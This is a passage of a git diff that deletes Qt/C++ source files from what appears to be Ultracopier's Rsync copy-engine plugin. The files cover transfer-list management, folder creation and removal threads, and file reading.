- while(index<scanFileOrFolderThreadsPool.size())
- {
- scanFileOrFolderThreadsPool.at(index)->setFilters(include,exclude);
- index++;
- }
-}
-
-void ListThread::set_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void ListThread::mkPathFirstFolderFinish()
-{
- int_for_loop=0;
- loop_size=actionToDoListInode.size();
- while(int_for_loop<loop_size)
- {
- if(actionToDoListInode.at(int_for_loop).type==ActionType_MkPath)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("stop mkpath: %1").arg(actionToDoListInode.at(int_for_loop).folder.absoluteFilePath()));
- actionToDoListInode.removeAt(int_for_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
- numberOfInodeOperation--;
- doNewActions_inode_manipulation();
- return;
- }
- int_for_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to found item into the todo list");
-}
-
-void ListThread::rmPathFirstFolderFinish()
-{
- int_for_loop=0;
- loop_size=actionToDoListInode.size();
- while(int_for_loop<loop_size)
- {
- if(actionToDoListInode.at(int_for_loop).type==ActionType_RmPath || actionToDoListInode.at(int_for_loop).type==ActionType_RmSync)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("stop rmpath: %1").arg(actionToDoListInode.at(int_for_loop).folder.absoluteFilePath()));
- actionToDoListInode.removeAt(int_for_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
- numberOfInodeOperation--;
- doNewActions_inode_manipulation();
- return;
- }
- int_for_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to found item into the todo list");
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-
-void ListThread::timedUpdateDebugDialog()
-{
- QStringList newList;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- QString stat;
- switch(transferThreadList.at(index)->getStat())
- {
- case TransferStat_Idle:
- stat="Idle";
- break;
- case TransferStat_PreOperation:
- stat="PreOperation";
- break;
- case TransferStat_WaitForTheTransfer:
- stat="WaitForTheTransfer";
- break;
- case TransferStat_Transfer:
- stat="Transfer";
- break;
- case TransferStat_PostOperation:
- stat="PostOperation";
- break;
- case TransferStat_PostTransfer:
- stat="PostTransfer";
- break;
- case TransferStat_Checksum:
- stat="Checksum";
- break;
- default:
- stat=QString("??? (%1)").arg(transferThreadList.at(index)->getStat());
- break;
- }
- newList << QString("%1) (%3,%4) %2")
- .arg(index)
- .arg(stat)
- .arg(transferThreadList.at(index)->readingLetter())
- .arg(transferThreadList.at(index)->writingLetter());
- index++;
- }
- QStringList newList2;
- index=0;
- loop_size=actionToDoListTransfer.size();
- while(index<loop_size)
- {
- newList2 << QString("%1 %2 %3")
- .arg(actionToDoListTransfer.at(index).source.absoluteFilePath())
- .arg(actionToDoListTransfer.at(index).size)
- .arg(actionToDoListTransfer.at(index).destination.absoluteFilePath());
- if(index>(actionToDoListTransfer.size()+2))
- {
- newList2 << QString("...");
- break;
- }
- index++;
- }
- emit updateTheDebugInfo(newList,newList2,numberOfInodeOperation);
-}
-
-#endif
-
-/// \note Can be call without queue because all call will be serialized
-void ListThread::fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame)
-{
- emit send_fileAlreadyExists(source,destination,isSame,qobject_cast<TransferThread *>(sender()));
-}
-
-/// \note Can be call without queue because all call will be serialized
-void ListThread::errorOnFile(const QFileInfo &fileInfo,const QString &errorString)
-{
- emit send_errorOnFile(fileInfo,errorString,qobject_cast<TransferThread *>(sender()));
-}
-
-/// \note Can be call without queue because all call will be serialized
-void ListThread::folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame)
-{
- emit send_folderAlreadyExists(source,destination,isSame,qobject_cast<scanFileOrFolder *>(sender()));
-}
-
-/// \note Can be call without queue because all call will be serialized
-/// \todo all this part
-void ListThread::errorOnFolder(const QFileInfo &fileInfo,const QString &errorString)
-{
- emit send_errorOnFolder(fileInfo,errorString,qobject_cast<scanFileOrFolder *>(sender()));
-}
-
-//to run the thread
-void ListThread::run()
-{
- exec();
-}
-
-/// \to create transfer thread
-void ListThread::createTransferThread()
-{
- if(stopIt)
- return;
- transferThreadList << new TransferThread();
- TransferThread * last=transferThreadList.last();
- last->transferId=0;
- last->transferSize=0;
- last->setRightTransfer(doRightTransfer);
- last->setKeepDate(keepDate);
- last->setBlockSize(blockSize);
- last->setDrive(drives);
- last->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- last->setMaxSpeed(maxSpeed/ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER);
- last->set_doChecksum(doChecksum);
- last->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- last->set_checksumOnlyOnError(checksumOnlyOnError);
- last->set_osBuffer(osBuffer);
- last->set_osBufferLimited(osBufferLimited);
- last->set_osBufferLimit(osBufferLimit);
- last->setRsync(rsync);
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(last,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
- #endif // ULTRACOPIER_PLUGIN_DEBUG
- connect(last,SIGNAL(errorOnFile(QFileInfo,QString)), this,SLOT(errorOnFile(QFileInfo,QString)), Qt::QueuedConnection);
- connect(last,SIGNAL(fileAlreadyExists(QFileInfo,QFileInfo,bool)), this,SLOT(fileAlreadyExists(QFileInfo,QFileInfo,bool)), Qt::QueuedConnection);
- connect(last,SIGNAL(tryPutAtBottom()), this,SLOT(transferPutAtBottom()), Qt::QueuedConnection);
- connect(last,SIGNAL(readStopped()), this,SLOT(transferIsFinished()), Qt::QueuedConnection);
- connect(last,SIGNAL(preOperationStopped()), this,SLOT(doNewActions_start_transfer()), Qt::QueuedConnection);
- connect(last,SIGNAL(postOperationStopped()), this,SLOT(transferInodeIsClosed()), Qt::QueuedConnection);
- connect(last,SIGNAL(checkIfItCanBeResumed()), this,SLOT(restartTransferIfItCan()), Qt::QueuedConnection);
- connect(last,SIGNAL(pushStat(TransferStat,quint64)), this,SLOT(newTransferStat(TransferStat,quint64)), Qt::QueuedConnection);
-
- connect(this,SIGNAL(send_sendNewRenamingRules(QString,QString)), last,SLOT(setRenamingRules(QString,QString)), Qt::QueuedConnection);
-
- last->start();
- last->setObjectName(QString("transfer %1").arg(transferThreadList.size()-1));
- last->setMkpathTransfer(&mkpathTransfer);
- last->setRenamingRules(firstRenamingRule,otherRenamingRule);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- last->setId(transferThreadList.size()-1);
- #endif
- if(transferThreadList.size()>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- if(stopIt)
- return;
- doNewActions_inode_manipulation();
- emit askNewTransferThread();
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/ListThread.h b/plugins-alternative/CopyEngine/Rsync/ListThread.h
deleted file mode 100755
index ab4ad64..0000000
--- a/plugins-alternative/CopyEngine/Rsync/ListThread.h
+++ /dev/null
@@ -1,376 +0,0 @@
-/** \file ListThread.h
-\brief Define the list thread, and management to the action to do
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef LISTTHREAD_H
-#define LISTTHREAD_H
-
-#include <QThread>
-#include <QObject>
-#include <QList>
-#include <QStringList>
-#include <QFileInfo>
-#include <QSemaphore>
-#include <QTextStream>
-#include <QFile>
-
-#include "../../../interface/PluginInterface_CopyEngine.h"
-#include "scanFileOrFolder.h"
-#include "TransferThread.h"
-#include "MkPath.h"
-#include "RmPath.h"
-#include "Environment.h"
-
-/// \brief Define the list thread, and management to the action to do
-class ListThread : public QThread
-{
- Q_OBJECT
-public:
- explicit ListThread(FacilityInterface * facilityInterface);
- ~ListThread();
- //duplication copy detection
- /** \brief compare the current sources of the copy, with the passed arguments
- * \param sources the sources list to compares with the current sources list
- * \return true if have same sources, else false (or empty) */
- bool haveSameSource(QStringList sources);
- /** \brief compare the current destination of the copy, with the passed arguments
- * \param destination the destination to compares with the current destination
- * \return true if have same destination, else false (or empty) */
- bool haveSameDestination(QString destination);
- //external soft like file browser have send copy/move list to do
- /** \brief send copy with destination
- * \param sources the sources list to copy
- * \param destination the destination to copy
- * \return true if the copy have been accepted */
- bool newCopy(QStringList sources,QString destination);
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \param destination the destination to move
- * \return true if the move have been accepted */
- bool newMove(QStringList sources,QString destination);
- /** \brief get the speed limitation
- * < -1 if not able, 0 if disabled */
- qint64 getSpeedLimitation();
- /** \brief to set drives detected
- * specific to this copy engine */
- void setDrive(QStringList drives);
- /// \brief to set the collision action
- void setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists);
- /** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
- void syncTransferList();
- /// \brief to store one action to do
- struct actionToDoTransfer
- {
- quint64 id;
- qint64 size;///< Used to set: used in case of transfer or remainingInode for drop folder
- QFileInfo source;///< Used to set: source for transfer, folder to create, folder to drop
- QFileInfo destination;
- CopyMode mode;
- bool isRunning;///< store if the action si running
- //TransferThread * transfer; // -> see transferThreadList
- };
- QList<actionToDoTransfer> actionToDoListTransfer;
- /// \brief get action type
- enum ActionType
- {
- ActionType_MkPath=1,
- ActionType_RmPath=2,
- ActionType_RmSync=3
- };
- /// \brief to store one action to do
- struct actionToDoInode
- {
- ActionType type;///< \see ActionType
- quint64 id;
- qint64 size;///< Used to set: used in case of transfer or remainingInode for drop folder
- QFileInfo folder;///< Used to set: source for transfer, folder to create, folder to drop
- bool isRunning;///< store if the action si running
- };
- QList<actionToDoInode> actionToDoListInode;
- QList<actionToDoInode> actionToDoListInode_afterTheTransfer;
- int numberOfInodeOperation;
- //dir operation thread queue
- MkPath mkPathQueue;
- RmPath rmPathQueue;
- //to get the return value from copyEngine
- bool getReturnBoolToCopyEngine();
- QPair<quint64,quint64> getReturnPairQuint64ToCopyEngine();
- ItemOfCopyList getReturnItemOfCopyListToCopyEngine();
-
- void set_doChecksum(bool doChecksum);
- void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
- void set_checksumOnlyOnError(bool checksumOnlyOnError);
- void set_osBuffer(bool osBuffer);
- void set_osBufferLimited(bool osBufferLimited);
-public slots:
- //action on the copy
- /// \brief put the transfer in pause
- void pause();
- /// \brief resume the transfer
- void resume();
- /** \brief skip one transfer entry
- * \param id id of the file to remove */
- void skip(const quint64 &id);
- /** \brief skip as interanl one transfer entry
- * \param id id of the file to remove */
- bool skipInternal(const quint64 &id);
- /// \brief cancel all the transfer
- void cancel();
- //edit the transfer list
- /** \brief remove the selected item
- * \param ids ids is the id list of the selected items */
- void removeItems(const QList<int> &ids);
- /** \brief move on top of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnTop(QList<int> ids);
- /** \brief move up the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsUp(QList<int> ids);
- /** \brief move down the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsDown(QList<int> ids);
- /** \brief move on bottom of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnBottom(QList<int> ids);
-
- /** \brief give the forced mode, to export/import transfer list */
- void forceMode(const CopyMode &mode);
- /// \brief export the transfer list into a file
- void exportTransferList(const QString &fileName);
- /// \brief import the transfer list into a file
- void importTransferList(const QString &fileName);
-
- /// \brief set the folder local colision
- void setFolderColision(FolderExistsAction alwaysDoThisActionForFolderExists);
- /** \brief to set the speed limitation
- * -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- /// \brief set the copy info and options before runing
- void setRightTransfer(const bool doRightTransfer);
- /// \brief set keep date
- void setKeepDate(const bool keepDate);
- /// \brief set block size in KB
- void setBlockSize(const int blockSize);
- /// \brief set auto start
- void setAutoStart(const bool autoStart);
- /// \brief set rsync
- void setRsync(const bool rsync);
- /// \brief set check destination folder
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- /// \brief set data local to the thread
- void setAlwaysFileExistsAction(FileExistsAction alwaysDoThisActionForFileExists);
- /// \brief do new actions, start transfer
- void doNewActions_start_transfer();
- /** \brief lunch the pre-op or inode op
- 1) locate the next next item to do into the both list
- 1a) optimisation posible on the mkpath/rmpath
- 2) determine what need be lunched
- 3) lunch it, rerun the 2)
- */
- void doNewActions_inode_manipulation();
- /// \brief restart transfer if it can
- void restartTransferIfItCan();
-
- /// \brief update the transfer stat
- void newTransferStat(TransferStat stat,quint64 id);
-
- void set_osBufferLimit(unsigned int osBufferLimit);
- void set_setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude);
- void set_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-
- //send action done
- void sendActionDone();
- //send progression
- void sendProgression();
-private:
- QSemaphore mkpathTransfer;
- QString sourceDrive;
- bool sourceDriveMultiple;
- bool stopIt;
- QString destinationDrive;
- bool destinationDriveMultiple;
- QList<scanFileOrFolder *> scanFileOrFolderThreadsPool;
- int numberOfTransferIntoToDoList;
- QList<TransferThread *> transferThreadList;
- scanFileOrFolder * newScanThread(CopyMode mode);
- quint64 bytesToTransfer;
- quint64 bytesTransfered;
- bool autoStart;
- bool rsync;
- bool putInPause;
- QList<returnActionOnCopyList> actionDone;///< to action to send to the interface
- quint64 idIncrementNumber;///< to store the last id returned
- qint64 actualRealByteTransfered;
- int preOperationNumber;
- int numberOfTranferRuning;
- int maxSpeed;///< in KB/s, assume as 0KB/s as default like every where
- FolderExistsAction alwaysDoThisActionForFolderExists;
- bool checkDestinationFolderExists;
- bool doChecksum;
- bool checksumIgnoreIfImpossible;
- bool checksumOnlyOnError;
- bool osBuffer;
- bool osBufferLimited;
- unsigned int osBufferLimit;
- QList<Filters_rules> include,exclude;
- CopyMode mode;
- bool forcedMode;
- QString firstRenamingRule;
- QString otherRenamingRule;
-
- //add file transfer to do
- quint64 addToTransfer(const QFileInfo& source,const QFileInfo& destination,const CopyMode& mode);
- //generate id number
- quint64 generateIdNumber();
- //warning the first entry is accessible will copy
- bool removeItems(quint64 id);
- //put on top
- bool moveOnTopItem(quint64 id);
- //move up
- bool moveUpItem(quint64 id);
- //move down
- bool moveDownItem(quint64 id);
- //put on bottom
- bool moveOnBottomItem(quint64 id);
- //general transfer
- void startGeneralTransfer();
- //debug windows if needed
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- QTimer timerUpdateDebugDialog;
- #endif
- FacilityInterface * facilityInterface;
- //temp variable for not always alocate the memory
- int int_for_loop,int_for_internal_loop,int_for_transfer_thread_search,loop_size,loop_sub_size,loop_sub_size_transfer_thread_search,number_rm_path_moved;
- TransferThread *temp_transfer_thread;
- bool isFound;
- bool updateTheStatus_listing,updateTheStatus_copying;
- EngineActionInProgress updateTheStatus_action_in_progress;
- QSemaphore waitConstructor,waitCancel;
- int actionToDoListTransfer_count,actionToDoListInode_count;
- bool doTransfer,doInode;
- qint64 oversize;//used as temp variable
- qint64 currentProgression;
- qint64 copiedSize,totalSize,localOverSize;
- QList<ProgressionItem> progressionList;
- TransferThread* currentTransferThread;
- //memory variable for transfer thread creation
- bool doRightTransfer;
- bool keepDate;
- int blockSize;
- QStringList drives;
- FileExistsAction alwaysDoThisActionForFileExists;
- //to return value to the copyEngine
- bool returnBoolToCopyEngine;
- QPair<quint64,quint64> returnPairQuint64ToCopyEngine;
- QList<ItemOfCopyList> returnListItemOfCopyListToCopyEngine;
- ItemOfCopyList returnItemOfCopyListToCopyEngine;
- ProgressionItem tempItem;
-
- void realByteTransfered();
-private slots:
- void scanThreadHaveFinish(bool skipFirstRemove=false);
- void updateTheStatus();
- void fileTransfer(const QFileInfo &sourceFileInfo,const QFileInfo &destinationFileInfo,const CopyMode &mode);
- //mkpath event
- void mkPathFirstFolderFinish();
- //rmpath event
- void rmPathFirstFolderFinish();
- //transfer is finished
- void transferIsFinished();
- /** \brief put the current file at bottom in case of error
- \note ONLY IN CASE OF ERROR */
- void transferPutAtBottom();
- //transfer is finished
- void transferInodeIsClosed();
- //debug windows if needed
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- void timedUpdateDebugDialog();
- #endif
- //dialog message
- /// \note Can be call without queue because all call will be serialized
- void fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFile(const QFileInfo &fileInfo,const QString &errorString);
- /// \note Can be call without queue because all call will be serialized
- void folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFolder(const QFileInfo &fileInfo,const QString &errorString);
- //to run the thread
- void run();
- /// \to create transfer thread
- void createTransferThread();
- //mk path to do
- quint64 addToMkPath(const QString& folder);
- //add rm path to do
- void addToRmPath(const QString& folder,const int& inodeToRemove);
- //rsync rm
- void addToRmForRsync(const QString& inode);
- //send the progression, after full reset of the interface (then all is empty)
- void syncTransferList_internal();
-signals:
- //send information about the copy
- void actionInProgess(EngineActionInProgress); //should update interface information on this event
-
- void newActionOnList(const QList<returnActionOnCopyList> &);///very important, need be temporized to group the modification to do and not flood the interface
- void syncReady();
-
- /** \brief to get the progression for a specific file
- * \param id the id of the transfer, id send during population the transfer list
- * first = current transfered byte, second = byte to transfer */
- void pushFileProgression(const QList<ProgressionItem> &progressionList);
- //get information about the copy
- /** \brief to get the general progression
- * first = current transfered byte, second = byte to transfer */
- void pushGeneralProgression(const quint64 &,const quint64 &);
-
- void newFolderListing(const QString &path);
- void newCollisionAction(QString action);
- void newErrorAction(QString action);
- void isInPause(bool);
-
- //when can be deleted
- void canBeDeleted();
-
- //send error occurred
- void error(QString path,quint64 size,QDateTime mtime,QString error);
- //for the extra logging
- void rmPath(QString path);
- void mkPath(QString path);
- /// \brief To debug source
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- void updateTheDebugInfo(QStringList,QStringList,int);
- #endif
-
- //other signal
- /// \note Can be call without queue because all call will be serialized
- void send_fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread);
- /// \note Can be call without queue because all call will be serialized
- void send_errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread);
- /// \note Can be call without queue because all call will be serialized
- void send_folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread);
- /// \note Can be call without queue because all call will be serialized
- void send_errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread);
- //send the progression
- void send_syncTransferList();
- //mkpath error event
- void mkPathErrorOnFolder(QFileInfo fileInfo,QString errorString);
- //rmpath error event
- void rmPathErrorOnFolder(QFileInfo fileInfo,QString errorString);
- //to close
- void tryCancel();
- //to ask new transfer thread
- void askNewTransferThread();
-
- void warningTransferList(QString warning);
- void errorTransferList(QString error);
- void send_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void send_realBytesTransfered(quint64);
-};
-
-#endif // LISTTHREAD_H
diff --git a/plugins-alternative/CopyEngine/Rsync/ListThread_InodeAction.cpp b/plugins-alternative/CopyEngine/Rsync/ListThread_InodeAction.cpp
deleted file mode 100644
index c495f60..0000000
--- a/plugins-alternative/CopyEngine/Rsync/ListThread_InodeAction.cpp
+++ /dev/null
@@ -1,66 +0,0 @@
-/** \file ListThread_InodeAction.cpp
-\brief To be included into ListThread.cpp, to optimize and prevent code duplication
-\see ListThread.cpp
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifdef LISTTHREAD_H
-
-//do the inode action
-actionToDoInode& currentActionToDoInode=actionToDoListInode[int_for_internal_loop];
-switch(currentActionToDoInode.type)
-{
-case ActionType_MkPath:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch mkpath: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- mkPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath());
- currentActionToDoInode.isRunning=true;
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
-break;
-case ActionType_RmSync:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch rm to sync: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- rmPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath(),true);
- currentActionToDoInode.isRunning=true;
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
-break;
-case ActionType_RmPath:
-/* What is this code?
- if((int_for_loop+number_rm_path_moved)>=(loop_size-1))
- {
- if(numberOfTranferRuning)
- break;
- else
- currentActionToDoInode.size=0;
- }*/
- //then empty (no file), can try remove it
- if(true)//currentActionToDoInode.size==0
- {
- if(numberOfTranferRuning>0)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("skipped because already inode = 0 and transfer is running: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch rmpath: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- rmPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath(),false);
- currentActionToDoInode.isRunning=true;
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- }
- else //have not finish all the transfer into it, do it later
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"should never pass here");
- /*actionToDoListInode.move(int_for_internal_loop,actionToDoListInode_count-1);
- currentActionToDoInode.id=generateIdNumber();
- number_rm_path_moved++;
- currentActionToDoInode.size=0;
- continue;*/
- }
-break;
-default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Wrong type at inode action"));
- return;
-}
-
-#endif
diff --git a/plugins-alternative/CopyEngine/Rsync/MkPath.cpp b/plugins-alternative/CopyEngine/Rsync/MkPath.cpp
deleted file mode 100644
index dd71231..0000000
--- a/plugins-alternative/CopyEngine/Rsync/MkPath.cpp
+++ /dev/null
@@ -1,100 +0,0 @@
-#include "MkPath.h"
-
-MkPath::MkPath()
-{
- stopIt=false;
- waitAction=false;
- setObjectName("MkPath");
- moveToThread(this);
- start();
-}
-
-MkPath::~MkPath()
-{
- stopIt=true;
- quit();
- wait();
-}
-
-void MkPath::addPath(const QString &path)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- if(stopIt)
- return;
- emit internalStartAddPath(path);
-}
-
-void MkPath::skip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartSkip();
-}
-
-void MkPath::retry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartRetry();
-}
-
-void MkPath::run()
-{
- connect(this,SIGNAL(internalStartAddPath(QString)),this,SLOT(internalAddPath(QString)),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartDoThisPath()),this,SLOT(internalDoThisPath()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartSkip()),this,SLOT(internalSkip()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRetry()),this,SLOT(internalRetry()),Qt::QueuedConnection);
- exec();
-}
-
-void MkPath::internalDoThisPath()
-{
- if(waitAction || pathList.isEmpty())
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+pathList.first());
- if(!dir.exists(pathList.first()))
- if(!dir.mkpath(pathList.first()))
- {
- if(!dir.exists(pathList.first()))
- {
- if(stopIt)
- return;
- waitAction=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
- emit errorOnFolder(pathList.first(),tr("Unable to create the folder"));
- return;
- }
- }
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-void MkPath::internalAddPath(const QString &path)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- pathList << path;
- if(!waitAction)
- checkIfCanDoTheNext();
-}
-
-void MkPath::checkIfCanDoTheNext()
-{
- if(!waitAction && !stopIt && pathList.size()>0)
- emit internalStartDoThisPath();
-}
-
-void MkPath::internalSkip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-void MkPath::internalRetry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- checkIfCanDoTheNext();
-}
-
diff --git a/plugins-alternative/CopyEngine/Rsync/MkPath.h b/plugins-alternative/CopyEngine/Rsync/MkPath.h
deleted file mode 100644
index 5d00d60..0000000
--- a/plugins-alternative/CopyEngine/Rsync/MkPath.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/** \file MkPath.h
-\brief Make the path given as queued mkpath
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef MKPATH_H
-#define MKPATH_H
-
-#include <QThread>
-#include <QFileInfo>
-#include <QString>
-#include <QSemaphore>
-#include <QStringList>
-#include <QDir>
-
-#include "Environment.h"
-
-/// \brief Make the path given as queued mkpath
-class MkPath : public QThread
-{
- Q_OBJECT
-public:
- explicit MkPath();
- ~MkPath();
- /// \brief add path to make
- void addPath(const QString &path);
-signals:
- void errorOnFolder(const QFileInfo &,const QString &);
- void firstFolderFinish();
- void internalStartAddPath(const QString &path);
- void internalStartDoThisPath();
- void internalStartSkip();
- void internalStartRetry();
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
-public slots:
- /// \brief skip after creation error
- void skip();
- /// \brief retry after creation error
- void retry();
-private:
- void run();
- bool waitAction;
- bool stopIt;
- bool skipIt;
- QStringList pathList;
- void checkIfCanDoTheNext();
- QDir dir;
-private slots:
- void internalDoThisPath();
- void internalAddPath(const QString &path);
- void internalSkip();
- void internalRetry();
-};
-
-#endif // MKPATH_H
diff --git a/plugins-alternative/CopyEngine/Rsync/ReadThread.cpp b/plugins-alternative/CopyEngine/Rsync/ReadThread.cpp
deleted file mode 100644
index 3c7bfc1..0000000
--- a/plugins-alternative/CopyEngine/Rsync/ReadThread.cpp
+++ /dev/null
@@ -1,597 +0,0 @@
-#include "ReadThread.h"
-
-ReadThread::ReadThread()
-{
- start();
- moveToThread(this);
- stopIt=false;
- putInPause=false;
- blockSize=1024*1024;
- setObjectName("read");
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- isInReadLoop=false;
- tryStartRead=false;
- isOpen.release();
-}
-
-ReadThread::~ReadThread()
-{
- stopIt=true;
- disconnect(this);
- waitNewClockForSpeed.release();
- isOpen.acquire();
- exit();
- wait();
-}
-
-void ReadThread::run()
-{
- connect(this,SIGNAL(internalStartOpen()), this,SLOT(internalOpen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartReopen()), this,SLOT(internalReopen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRead()), this,SLOT(internalRead()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartClose()), this,SLOT(internalClose()), Qt::QueuedConnection);
- connect(this,SIGNAL(checkIfIsWait()), this,SLOT(isInWait()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartChecksum()), this,SLOT(checkSum()), Qt::QueuedConnection);
- exec();
-}
-
-void ReadThread::open(const QString &name,const CopyMode &mode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open source: "+name);
- if(file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] previous file is already open: "+file.fileName()+", try open: "+this->name);
- return;
- }
- if(isInReadLoop)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] previous file is already readding: "+file.fileName()+", try open: "+this->name);
- return;
- }
- if(tryStartRead)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] previous file is already try read: "+file.fileName()+", try open: "+this->name);
- return;
- }
- fakeMode=false;
- this->name=name;
- this->mode=mode;
- emit internalStartOpen();
-}
-
-QString ReadThread::errorString()
-{
- return errorString_internal;
-}
-
-void ReadThread::stop()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop()");
- stopIt=true;
- if(isOpen.available()>0)
- return;
- emit internalStartClose();
-}
-
-bool ReadThread::pause()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] try put read thread in pause");
- putInPause=true;
- stopIt=true;
- return isInReadLoop;
-}
-
-void ReadThread::resume()
-{
- if(putInPause)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- putInPause=false;
- stopIt=false;
- }
- else
- return;
- if(tryStartRead)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] already in try start");
- return;
- }
